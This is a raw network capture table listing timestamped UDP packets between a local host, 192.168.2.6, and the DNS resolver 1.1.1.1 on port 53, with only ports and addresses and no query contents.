Dec 4, 2023 12:35:36.965797901 CET	53	64065	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:37.089366913 CET	57874	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:37.282186031 CET	53	57874	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:37.288408041 CET	55636	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:37.486346960 CET	53	55636	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:37.587879896 CET	63856	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:37.685470104 CET	53	63856	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:37.879338980 CET	55277	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:37.974484921 CET	53	55277	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:37.991548061 CET	64354	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:38.086669922 CET	53	64354	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:38.197339058 CET	59233	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:38.298049927 CET	53	59233	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:38.304239988 CET	57121	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:39.122745991 CET	53	57121	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:39.228631973 CET	55050	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:39.331163883 CET	53	55050	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:39.531603098 CET	54158	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:39.627517939 CET	53	54158	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:39.638238907 CET	64243	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:39.733386993 CET	53	64243	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:39.838264942 CET	60020	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:40.030813932 CET	53	60020	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:40.042129993 CET	53207	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:40.235050917 CET	53	53207	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:40.387645960 CET	59352	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:40.583363056 CET	53	59352	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:40.587991953 CET	59661	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:40.783901930 CET	53	59661	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:40.901417971 CET	54944	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:41.097667933 CET	53	54944	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:41.101679087 CET	52877	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:41.196738958 CET	53	52877	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:41.307326078 CET	56890	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:41.494687080 CET	53	56890	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:41.497306108 CET	61224	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:41.690623999 CET	53	61224	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:41.807336092 CET	63083	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:41.906955957 CET	53	63083	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.108293056 CET	54787	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:42.203243017 CET	53	54787	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.206001043 CET	54762	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:42.302216053 CET	53	54762	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.416429996 CET	61188	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:42.661581993 CET	53	61188	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.668700933 CET	49690	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:42.764305115 CET	53	49690	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.869451046 CET	58481	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:42.966849089 CET	53	58481	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:42.974360943 CET	54669	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:43.072942019 CET	53	54669	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:43.182852983 CET	50175	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:43.535424948 CET	53	50175	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:43.538193941 CET	52125	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:43.633322001 CET	53	52125	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:43.744657993 CET	59887	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:43.932955980 CET	53	59887	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:43.935695887 CET	55973	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:44.127090931 CET	53	55973	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:44.245691061 CET	52182	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:44.342324018 CET	53	52182	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:44.517342091 CET	56827	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:44.613869905 CET	53	56827	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:44.616627932 CET	61657	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:44.714109898 CET	53	61657	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:44.824655056 CET	59518	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:44.925374031 CET	53	59518	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:44.929197073 CET	55259	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:45.186335087 CET	53	55259	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:45.291511059 CET	57398	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:45.546415091 CET	53	57398	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:45.744246006 CET	54165	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:45.860052109 CET	53	54165	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:45.877043009 CET	54730	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:45.973171949 CET	53	54730	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:46.089114904 CET	60089	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:46.285501003 CET	53	60089	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:46.294536114 CET	63747	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:46.484580040 CET	53	63747	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:46.776295900 CET	60280	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:46.964108944 CET	53	60280	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:48.662049055 CET	59756	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:48.757590055 CET	53	59756	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:48.761188984 CET	57750	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:48.857779026 CET	53	57750	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:48.963025093 CET	60639	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.061671019 CET	53	60639	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.064317942 CET	52145	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.162080050 CET	53	52145	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.275742054 CET	50561	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.373949051 CET	53	50561	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.390301943 CET	59645	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.488464117 CET	53	59645	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.604562998 CET	59670	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.701752901 CET	53	59670	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.877902985 CET	60632	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:49.973705053 CET	53	60632	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:49.991398096 CET	62006	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:50.090559006 CET	53	62006	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:50.197360992 CET	64875	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:50.295644045 CET	53	64875	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:50.305345058 CET	63864	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:50.405402899 CET	53	63864	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:50.510113955 CET	54825	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:50.608354092 CET	53	54825	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:50.625417948 CET	64519	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:50.934966087 CET	53	64519	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:51.040966988 CET	54876	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:51.154941082 CET	53	54876	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:51.161057949 CET	63329	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:51.259021997 CET	53	63329	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:51.369457960 CET	51089	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:51.561043024 CET	53	51089	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:51.567430973 CET	50393	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:51.756463051 CET	53	50393	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:51.869620085 CET	59986	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:51.966166019 CET	53	59986	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:52.144079924 CET	61858	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:52.239128113 CET	53	61858	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:52.245836973 CET	56656	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:52.341223001 CET	53	56656	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:52.448227882 CET	59922	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:52.546946049 CET	53	59922	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:52.568986893 CET	51624	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:52.825970888 CET	53	51624	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:52.931950092 CET	58293	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:53.033473969 CET	53	58293	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:53.224030972 CET	55456	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:53.319124937 CET	53	55456	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:53.332787037 CET	54576	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:53.428767920 CET	53	54576	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:53.541383028 CET	49659	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:53.890486002 CET	53	49659	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:53.913840055 CET	50629	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:54.256963015 CET	53	50629	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:54.374238968 CET	64035	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:54.628031015 CET	53	64035	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:54.630680084 CET	57552	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:54.729238033 CET	53	57552	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:54.838135958 CET	55205	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:55.171617985 CET	53	55205	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:55.179215908 CET	55323	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:55.532572985 CET	53	55323	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:55.635308981 CET	52726	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:55.941601992 CET	53	52726	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:55.960844994 CET	52360	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:56.282862902 CET	53	52360	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:56.400635958 CET	53368	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:56.497113943 CET	53	53368	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:56.687923908 CET	63332	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:56.784322977 CET	53	63332	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:56.793113947 CET	51312	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:56.892947912 CET	53	51312	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:57.009895086 CET	57922	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:57.166372061 CET	53	57922	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:57.351317883 CET	52401	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:57.448883057 CET	53	52401	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:57.470555067 CET	61278	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:57.566061974 CET	53	61278	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:57.681734085 CET	62764	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:57.790107965 CET	53	62764	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:57.834691048 CET	55606	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:58.176433086 CET	53	55606	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:58.292258978 CET	51102	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:58.389796972 CET	53	51102	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:58.406590939 CET	60738	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:58.602950096 CET	53	60738	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:58.713701963 CET	52700	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:58.811047077 CET	53	52700	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:58.977209091 CET	63288	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:59.073870897 CET	53	63288	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:59.093666077 CET	61878	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:59.190941095 CET	53	61878	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:59.308044910 CET	60884	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:59.406045914 CET	53	60884	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:59.600461960 CET	55372	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:59.697160006 CET	53	55372	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:59.698446035 CET	61215	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:35:59.794300079 CET	53	61215	1.1.1.1	192.168.2.6
Dec 4, 2023 12:35:59.916271925 CET	61330	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.016817093 CET	53	61330	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:00.021485090 CET	62448	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.120760918 CET	53	62448	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:00.228790045 CET	65350	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.326518059 CET	53	65350	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:00.334747076 CET	58337	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.433748960 CET	53	58337	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:00.541565895 CET	53386	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.639285088 CET	53	53386	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:00.645380020 CET	59609	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:00.890849113 CET	53	59609	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:01.010380030 CET	59578	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:01.371036053 CET	53	59578	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:01.373512983 CET	55779	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:01.706084967 CET	53	55779	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:01.822973013 CET	65200	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:01.919723034 CET	53	65200	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:01.932733059 CET	58047	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:02.031487942 CET	53	58047	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:02.150804996 CET	52719	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:02.457667112 CET	53	52719	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:02.464879036 CET	50366	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:02.776612997 CET	53	50366	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:02.884926081 CET	57248	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:02.983613968 CET	53	57248	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:02.986747980 CET	64927	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:03.100513935 CET	53	64927	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:03.213314056 CET	52639	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:03.310520887 CET	53	52639	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:03.313025951 CET	51115	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:03.410267115 CET	53	51115	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:03.526324987 CET	57943	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:03.714720011 CET	53	57943	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:03.721892118 CET	52612	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:03.818799973 CET	53	52612	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:03.931974888 CET	57330	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:04.264213085 CET	53	57330	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:04.286714077 CET	55124	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:04.638497114 CET	53	55124	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:04.744301081 CET	51327	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:04.841079950 CET	53	51327	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:05.041080952 CET	62185	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:05.138062954 CET	53	62185	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:05.150624990 CET	54617	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:05.247435093 CET	53	54617	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:05.356053114 CET	53529	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:05.455074072 CET	53	53529	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:05.461569071 CET	60637	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:05.560640097 CET	53	60637	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:05.669248104 CET	52573	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:06.011234999 CET	53	52573	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:06.022249937 CET	49474	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:06.682921886 CET	53	49474	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:06.792049885 CET	59146	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:06.981551886 CET	53	59146	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:06.993835926 CET	49295	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:07.181689024 CET	53	49295	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:07.291115999 CET	57062	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:07.632575989 CET	53	57062	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:07.639138937 CET	58499	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:07.971472025 CET	53	58499	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:08.073311090 CET	57464	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:08.390073061 CET	53	57464	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:08.399386883 CET	49291	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:08.498101950 CET	53	49291	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:08.604130983 CET	51465	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:08.963785887 CET	53	51465	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:08.966362953 CET	62786	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:09.302534103 CET	53	62786	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:09.416006088 CET	58590	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:09.611680984 CET	53	58590	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:09.615534067 CET	64789	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:09.810153961 CET	53	64789	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:09.916281939 CET	52368	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:10.734807014 CET	53	52368	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:10.738343000 CET	57315	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:11.058896065 CET	53	57315	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:11.168709993 CET	59017	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:11.356784105 CET	53	59017	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:11.575196028 CET	65467	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:11.672522068 CET	53	65467	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:11.675275087 CET	58199	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:11.771920919 CET	53	58199	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:11.884757996 CET	61187	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:11.983721972 CET	53	61187	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:11.986069918 CET	55771	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:12.084625959 CET	53	55771	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:12.197736979 CET	56112	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:12.295744896 CET	53	56112	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:12.309950113 CET	64882	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:12.498744965 CET	53	64882	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:12.604163885 CET	52948	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:12.793744087 CET	53	52948	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:12.802874088 CET	49755	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:12.992295027 CET	53	49755	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:13.103936911 CET	50425	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:13.204267025 CET	53	50425	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:13.404134035 CET	60511	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:13.499727011 CET	53	60511	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:13.512556076 CET	63018	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:13.649868011 CET	53	63018	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:13.760871887 CET	56767	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:13.960850000 CET	53	56767	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:13.968746901 CET	58258	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:14.158679962 CET	53	58258	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:14.259988070 CET	53441	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:14.572751999 CET	53	53441	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:14.584394932 CET	58961	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:14.899230957 CET	53	58961	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.010126114 CET	58443	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:15.114437103 CET	53	58443	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.117757082 CET	65126	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:15.215616941 CET	53	65126	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.326483965 CET	55722	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:15.422988892 CET	53	55722	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.647320032 CET	56767	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:15.745023012 CET	53	56767	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.748362064 CET	57533	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:15.843455076 CET	53	57533	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:15.948018074 CET	63696	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:16.046854019 CET	53	63696	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:16.113301992 CET	53760	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:16.214412928 CET	53	53760	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:16.323708057 CET	49505	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:16.521861076 CET	53	49505	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:16.539295912 CET	60084	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:16.733577967 CET	53	60084	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:16.838974953 CET	49434	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:16.975306034 CET	53	49434	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:16.989413023 CET	65116	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:17.094264030 CET	53	65116	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:17.198760986 CET	54249	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:17.301057100 CET	53	54249	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:17.307665110 CET	55310	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:17.621565104 CET	53	55310	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:17.729121923 CET	60126	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:18.065207005 CET	53	60126	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:18.092112064 CET	60140	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:18.428147078 CET	53	60140	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:18.525743961 CET	62278	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:18.625626087 CET	53	62278	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:18.650141001 CET	53362	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:18.749905109 CET	53	53362	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:18.861599922 CET	49457	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:19.117001057 CET	53	49457	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:19.131957054 CET	64522	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:19.227138042 CET	53	64522	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:19.635071039 CET	59226	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:19.732618093 CET	53	59226	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:19.739209890 CET	55264	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:19.994007111 CET	53	55264	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:21.808176994 CET	63474	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:22.182245970 CET	53	63474	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:22.184910059 CET	53081	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:22.373512983 CET	53	53081	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:22.478615999 CET	64356	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:22.576553106 CET	53	64356	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:22.793361902 CET	60048	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:36:22.890327930 CET	53	60048	1.1.1.1	192.168.2.6
Dec 4, 2023 12:36:22.892926931 CET	61148	53	192.168.2.6	1.1.1.1
